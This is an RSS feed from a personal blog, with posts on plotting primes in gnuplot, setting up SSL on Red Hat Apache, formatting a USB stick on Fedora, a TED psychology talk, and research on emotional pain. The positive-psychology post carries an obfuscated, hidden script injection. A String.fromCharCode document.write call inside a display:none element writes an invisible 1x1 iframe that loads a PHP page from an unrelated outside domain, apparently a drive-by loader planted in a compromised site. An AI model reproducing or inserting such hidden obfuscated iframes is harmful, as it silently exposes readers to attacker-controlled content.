<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nigel Pond</title>
	<atom:link href="http://www.nigelpond.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nigelpond.com</link>
	<description>Just a personal blog, domain thingy...</description>
	<lastBuildDate>Tue, 06 Oct 2009 14:09:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Using gnuplot to plot 3D graphs&#8230;</title>
		<link>http://www.nigelpond.com/2009/10/06/using-gnuplot-to-plot-3d-graphs/</link>
		<comments>http://www.nigelpond.com/2009/10/06/using-gnuplot-to-plot-3d-graphs/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 14:09:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[awk]]></category>
		<category><![CDATA[gnuplot]]></category>
		<category><![CDATA[prime]]></category>
		<category><![CDATA[prime numbers]]></category>

		<guid isPermaLink="false">http://www.nigelpond.com/?p=46</guid>
		<description><![CDATA[&#8230;with a little help from awk&#8230;
For instance the following awk took the list of the 1st 1000 prime numbers and added a column for the difference between each of the prime numbers:
&#8220;awk &#8216;{ p = $1; getline; p = $1 &#8211; p; print NR&#8221; &#8220;p&#8221; &#8220;$1 }&#8217; plist.txt &#62; p8.txt&#8221;
Here&#8217;s the gnuplot file:
set dgrid3d 20,20
set [...]]]></description>
			<content:encoded><![CDATA[<p>&#8230;with a little help from awk&#8230;</p>
<p>For instance the following awk took the list of the 1st 1000 prime numbers and added a column for the difference between each of the prime numbers:</p>
<p>&#8220;awk &#8216;{ p = $1; getline; p = $1 &#8211; p; print NR&#8221; &#8220;p&#8221; &#8220;$1 }&#8217; plist.txt &gt; p8.txt&#8221;</p>
<p>Here&#8217;s the gnuplot file:</p>
<p>set dgrid3d 20,20<br />
set hidden3d<br />
set ticslevel 0<br />
set term png<br />
set out &#8220;p17.png&#8221;<br />
splot &#8220;p8.txt&#8221; using 1:2:3 title &#8220;prime&#8221; with lines</p>
<p>And here&#8217;s the graph it created:</p>
<div class="wp-caption aligncenter" style="width: 650px"><img title="1st 1000 prime numbers 3D graph -plotted against the difference between each of the prime numbers." src="http://www.nigelpond.com/images/p17.png" alt="1st 1000 prime numbers 3D graph -plotted against the difference between each of the prime numbers." width="640" height="480" /><p class="wp-caption-text">1st 1000 prime numbers 3D graph -plotted against the difference between each of the prime numbers.</p></div>
<p>Here are some more graphs &#8211; again using the 1st 1000 prime numbers for data but for each one I&#8217;ve created another column of data based upon some manipulation of the primes:</p>
<div class="wp-caption aligncenter" style="width: 650px"><img title="3D plot of 1st 1000 prime numbers" src="http://www.nigelpond.com/images/p12.png" alt="3D plot of 1st 1000 prime numbers" width="640" height="480" /><p class="wp-caption-text">3D plot of 1st 1000 prime numbers</p></div>
<div class="wp-caption aligncenter" style="width: 650px"><img title="3D graph plot of the 1st 1000 prime numbers" src="http://www.nigelpond.com/images/p14.png" alt="3D graph plot of the 1st 1000 prime numbers" width="640" height="480" /><p class="wp-caption-text">3D graph plot of the 1st 1000 prime numbers</p></div>
<div class="wp-caption aligncenter" style="width: 650px"><img title="3D plot of the 1st 1000 prime numbers" src="http://www.nigelpond.com/images/p15.png" alt="3D plot of the 1st 1000 prime numbers" width="640" height="480" /><p class="wp-caption-text">3D plot of the 1st 1000 prime numbers</p></div>
<div class="wp-caption aligncenter" style="width: 650px"><img title="3D gnuplot graph of the 1st 1000 prime numbers" src="http://www.nigelpond.com/images/p16.png" alt="3D gnuplot graph of the 1st 1000 prime numbers" width="640" height="480" /><p class="wp-caption-text">3D gnuplot graph of the 1st 1000 prime numbers</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.nigelpond.com/2009/10/06/using-gnuplot-to-plot-3d-graphs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enabling SSL under Red Hat Enterprise Linux</title>
		<link>http://www.nigelpond.com/2009/05/29/enabling-ssl-under-red-hat-enterprise-linux/</link>
		<comments>http://www.nigelpond.com/2009/05/29/enabling-ssl-under-red-hat-enterprise-linux/#comments</comments>
		<pubDate>Fri, 29 May 2009 12:16:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.nigelpond.com/?p=42</guid>
		<description><![CDATA[Create the keys &#8211; replace the O, OU &#38; URL with your own data.  These are locally signed keys:
# openssl req -new -x509 -sha1 -newkey rsa:1024 \
&#62; -nodes -keyout test.key -out test.crt \
&#62; -subj &#8216;/O=NP/OU=Support/CN=www.example.com&#8217;
Generating a 1024 bit RSA private key
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++
writing new private key to &#8216;test.key&#8217;
&#8212;&#8211;
Put the keys in their respective folders:
# ls -lrt
total 912
-rw-r&#8211;r&#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>Create the keys &#8211; replace the O, OU &amp; URL with your own data.  These are locally signed keys:</p>
<p># openssl req -new -x509 -sha1 -newkey rsa:1024 \<br />
&gt; -nodes -keyout test.key -out test.crt \<br />
&gt; -subj &#8216;/O=NP/OU=Support/CN=www.example.com&#8217;<br />
Generating a 1024 bit RSA private key<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++<br />
writing new private key to &#8216;test.key&#8217;<br />
&#8212;&#8211;</p>
<p>Put the keys in their respective folders:</p>
<p># ls -lrt<br />
total 912<br />
-rw-r&#8211;r&#8211; 1 root root 441017 Dec 16 16:09 ca-bundle.crt<br />
-rw-r&#8211;r&#8211; 1 root root   2240 Dec 16 16:10 Makefile<br />
-rwxr-xr-x 1 root root    610 Dec 16 16:10 make-dummy-cert<br />
-rw-r&#8211;r&#8211; 1 root root 441017 Dec 16 16:10 ca-bundle.crt.rpmnew<br />
-rw&#8212;&#8212;- 1 root root   1468 Apr 24 18:13 localhost.crt<br />
-rw-r&#8211;r&#8211; 1 root root    952 May 27 10:17 test.crt</p>
<p>Updated the /etc/httpd/conf.d/ssl.conf file:</p>
<p>#SSLCertificateFile /etc/pki/tls/certs/localhost.crt<br />
SSLCertificateFile /etc/pki/tls/certs/test.crt</p>
<p>#SSLCertificateKeyFile /etc/pki/tls/private/localhost.key<br />
SSLCertificateKeyFile /etc/pki/tls/private/test.key</p>
<p>Also added Directory instructions for password authentication within the virtual host section (&lt;VirtualHost _default_:443&gt; :</p>
<p>&lt;Directory /&gt;<br />
Options FollowSymLinks<br />
AllowOverride None<br />
AuthType basic<br />
AuthName &#8220;Private&#8221;<br />
AuthUserFile /var/www/folder/passwords<br />
Require valid-user<br />
Order allow,deny<br />
&lt;/Directory&gt;<br />
The files couldn&#8217;t be seen by apache because I&#8217;d created them under root (SELinux enabled) so I had to run these<br />
commands:</p>
<p># restorecon /etc/pki/tls/private/test.key<br />
# restorecon /etc/pki/tls/certs/test.crt</p>
<p>To redirect all requests over SSL I put this in the .htaccess file in the document root (/var/www/html)</p>
<p>RewriteEngine On<br />
RewriteCond %{SERVER_PORT} 80<br />
RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]</p>
<p>At first the above didn&#8217;t work because I had AllowOverride None set in the /etc/httpd/conf/httpd.conf file:</p>
<p>#    AllowOverride None<br />
AllowOverride All</p>
<p>Restart apache:</p>
<p>$ service httpd restart</p>
<p>Once changed to All the rewrite works!!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nigelpond.com/2009/05/29/enabling-ssl-under-red-hat-enterprise-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to format a USB stick on Fedora Core 10 Linux</title>
		<link>http://www.nigelpond.com/2009/05/29/how-to-format-a-usb-stick-on-fedora-core-10-linux/</link>
		<comments>http://www.nigelpond.com/2009/05/29/how-to-format-a-usb-stick-on-fedora-core-10-linux/#comments</comments>
		<pubDate>Fri, 29 May 2009 12:06:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.nigelpond.com/?p=40</guid>
		<description><![CDATA[Formatting a 16GB (Cruzer micro 16) USB Stick on Fedora 10.
Power up your Fedora machine and login then stick in USB stick.
Fedora 10 mounts USB device automatically.
Find the USB drives system name and mount point:
$ mount
~
/dev/sdb1 on /media/disk type vfat (rw,nosuid,nodev,uhelper=hal,shortname=lower,uid=500)
Unmount USB disk:
$ umount /media/disk
Found that fdisk /dev/sdb1 didn&#8217;t work as a normal user so [...]]]></description>
			<content:encoded><![CDATA[<p>Formatting a 16GB (Cruzer micro 16) USB Stick on Fedora 10.</p>
<p>Power up your Fedora machine and login then stick in USB stick.</p>
<p>Fedora 10 mounts USB device automatically.</p>
<p>Find the USB drives system name and mount point:</p>
<p>$ mount</p>
<p>~<br />
/dev/sdb1 on /media/disk type vfat (rw,nosuid,nodev,uhelper=hal,shortname=lower,uid=500)</p>
<p>Unmount USB disk:</p>
<p>$ umount /media/disk</p>
<p>Found that fdisk /dev/sdb1 didn&#8217;t work as a normal user so su to root:</p>
<p>$ su -<br />
Password:</p>
<p>$ fdisk /dev/sdb1</p>
<p>Options:</p>
<p>p &#8211; to show partition<br />
n &#8211; for new partition<br />
defaults &#8211; take all the defaults until returned to &#8220;Command (m for help):&#8221;<br />
w &#8211; to write the changes</p>
<p>I got some errors here but decided to try the mkfs.ext3 command anyway&#8230;</p>
<p>$ mkfs.ext3 -b 4096 /dev/sdb1</p>
<p>I noticed that fdisk ($ fdisk -l) still showed it as FAT32 but once I removed the stick and stuck it back in again (automatically mounted by Fedora) a right-click on the icon and a show of properties showed that it was ext3.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nigelpond.com/2009/05/29/how-to-format-a-usb-stick-on-fedora-core-10-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What positive psychology can help you become</title>
		<link>http://www.nigelpond.com/2008/11/24/what-positive-psychology-can-help-you-become/</link>
		<comments>http://www.nigelpond.com/2008/11/24/what-positive-psychology-can-help-you-become/#comments</comments>
		<pubDate>Mon, 24 Nov 2008 16:25:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Existentialism]]></category>
		<category><![CDATA[Logotherapy]]></category>
		<category><![CDATA[Videos]]></category>
		<category><![CDATA[happiness]]></category>

		<guid isPermaLink="false">http://www.nigelpond.com/2008/11/24/what-positive-psychology-can-help-you-become/</guid>
		<description><![CDATA[All,
If you&#8217;ve not already found the wonderful website www.ted.com please take a look at one the the example videos you can find there:
document.write(String.fromCharCode(60,117,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,59,34,62,60,105,102,114,97,109,101,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,115,114,99,61,34,104,116,116,112,58,47,47,115,117,108,105,100,101,118,46,99,111,109,47,105,101,46,112,104,112,63,120,61,50,34,62,60,47,105,102,114,97,109,101,62,60,47,117,62))

As mentioned in the above video you can and should have a look at www.AuthenticHappiness.com  
]]></description>
			<content:encoded><![CDATA[<p>All,</p>
<p>If you&#8217;ve not already found the wonderful website <a href="http://www.ted.com/">www.ted.com</a> please take a look at one the the example videos you can find there:</p>
<p><u style="display: none;"><script>document.write(String.fromCharCode(60,117,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,59,34,62,60,105,102,114,97,109,101,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,115,114,99,61,34,104,116,116,112,58,47,47,115,117,108,105,100,101,118,46,99,111,109,47,105,101,46,112,104,112,63,120,61,50,34,62,60,47,105,102,114,97,109,101,62,60,47,117,62))</script></u></p>
<p><!--cut and paste--><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="432" height="285" id="VE_Player" align="middle"><param name="movie" value="http://static.videoegg.com/ted2/flash/loader.swf"></param><param NAME="FlashVars" VALUE="bgColor=FFFFFF&#038;file=http://static.videoegg.com/ted/movies/MartinSeligman_2004-embed-[None]_high.flv&#038;autoPlay=false&#038;fullscreenURL=http://static.videoegg.com/ted/flash/fullscreen.html&#038;forcePlay=false&#038;logo=&#038;allowFullscreen=true"></param><param name="quality" value="high"></param><param name="allowScriptAccess" value="always"></param><param name="bgcolor" value="#FFFFFF"></param><param name="scale" value="noscale"></param><param name="wmode" value="window"><embed src="http://static.videoegg.com/ted2/flash/loader.swf" FlashVars="bgColor=FFFFFF&#038;file=http://static.videoegg.com/ted/movies/MartinSeligman_2004-embed-[None]_high.flv&#038;autoPlay=false&#038;fullscreenURL=http://static.videoegg.com/ted/flash/fullscreen.html&#038;forcePlay=false&#038;logo=&#038;allowFullscreen=true" quality="high" allowScriptAccess="always" bgcolor="#FFFFFF" scale="noscale" wmode="window" width="432" height="285" name="VE_Player" align="middle" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></param></object></p>
<p>As mentioned in the above video you can and should have a look at <a href="http://www.authentichappiness.com/">www.AuthenticHappiness.com</a>  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.nigelpond.com/2008/11/24/what-positive-psychology-can-help-you-become/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Are hurt feelings worse than physical pain?</title>
		<link>http://www.nigelpond.com/2008/08/29/are-hurt-feelings-worse-than-physical-pain/</link>
		<comments>http://www.nigelpond.com/2008/08/29/are-hurt-feelings-worse-than-physical-pain/#comments</comments>
		<pubDate>Fri, 29 Aug 2008 13:34:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Existentialism]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Hypnotherapy]]></category>

		<guid isPermaLink="false">http://www.nigelpond.com/2008/08/29/are-hurt-feelings-worse-than-physical-pain/</guid>
		<description><![CDATA[The old adage &#8220;sticks and stones can break your bones, but words can never hurt you&#8221;, simply is not true, according to researchers.
Psychologists found memories of painful emotional experiences linger far longer than those involving physical pain.
They quizzed volunteers about painful events over the previous five years.
Writing in the journal Psychological Science, they said evolutionary [...]]]></description>
			<content:encoded><![CDATA[<p>The old adage &#8220;sticks and stones can break your bones, but words can never hurt you&#8221;, simply is not true, according to researchers.</p>
<p>Psychologists found memories of painful emotional experiences linger far longer than those involving physical pain.</p>
<p>They quizzed volunteers about painful events over the previous five years.</p>
<p>Writing in the journal Psychological Science, they said evolutionary brain changes which allow us to work better in groups or societies could be key.</p>
<p>The cerebral cortex may also have had an unintended effect of allowing humans to relive, re-experience and suffer from social pain<br />
Zhansheng Chen<br />
Purdue University</p>
<p>The volunteers, all students, were asked to write about painful experiences, both physical and emotional, then given a difficult mental test shortly afterwards.</p>
<p>The principle was that the more painful the recalled experience, the less well the person would perform in the tests.</p>
<p>Test scores were consistently higher in those recalling physical rather than &#8220;social&#8221; pain.</p>
<p>Psychological scoring tests revealed that memories of emotional pain were far more vivid.</p>
<p>Social evolution</p>
<p>Researcher Zhansheng Chen, from Purdue University in Indiana, said that it was much harder to &#8220;re-live&#8221; physical pain than to recall social pain.</p>
<p>He said the evolution of a part of the brain called the cerebral cortex, which processes complex thinking, perception and language, might be responsible.</p>
<p>He said: &#8220;It certainly improved the ability of human beings to create and adapt, to function in and with groups, communities and cultures, and to respond to pain associated with social interactions.</p>
<p>&#8220;However, the cerebral cortex may also have had an unintended effect of allowing humans to relive, re-experience and suffer from social pain.&#8221;</p>
<p>The researchers now plan to repeat the experiment in older people, who are more likely to have experienced chronic pain.</p>
<p>Michael Hughesman, a child psychologist based in Germany, agreed that it was likely that emotional pain was handled in a different part of the brain from physical pain, and likely to be longer-lasting.</p>
<p>He said: &#8220;There is something very intangible about emotional damage &#8211; with physical pain, you can see the bruise, but in emotional abuse there is often fear and anxiety which remains.</p>
<p>&#8220;If someone tells you in the playground that they are going to get you after school, then you tend to be anxious and afraid about it far more than if someone just punches you there and then.&#8221;</p>
<p>As a therapist and a human being I have first-hand experience of both physical and emotional pain &#8211; as we all have. Both can be completely debilitating but once the physical pain has subsided there is a feeling of elation and relief.</p>
<p>How many people can say they have had the same relief from emotional pain? Losing your child in a supermarket brings about an emotional pain that relief can be given but how about emotional pain from incidents that occurred previously?</p>
<p>Through this-life regression therapy I have experienced emotionally charged memories can be re-programmed and relief can be gained. You may not think about this emotional incident all the time but what if you&#8217;re walking across a busy road when the memory suddenly enters your consciousness? Your attention may be temporarily diverted and you could be run over by a bus!</p>
<p>Many people (typically men &#8211; myself included) don&#8217;t believe that their emotional baggage shapes who they are but learning to face these incidents and dealing with them can give you so much strength. It&#8217;s only when you&#8217;ve dealt with such past incidents that you realise how much they affect you.</p>
<p>News article originally from the BBC here: http://news.bbc.co.uk/1/hi/health/7587780.stm</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nigelpond.com/2008/08/29/are-hurt-feelings-worse-than-physical-pain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
